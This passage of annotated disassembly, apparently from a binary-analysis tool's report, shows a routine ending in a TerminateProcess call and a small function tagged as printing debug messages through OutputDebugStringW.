call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140003b66
Capabilities:
Print debug messages

Disassembly:
jmp 0x1400a8640
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret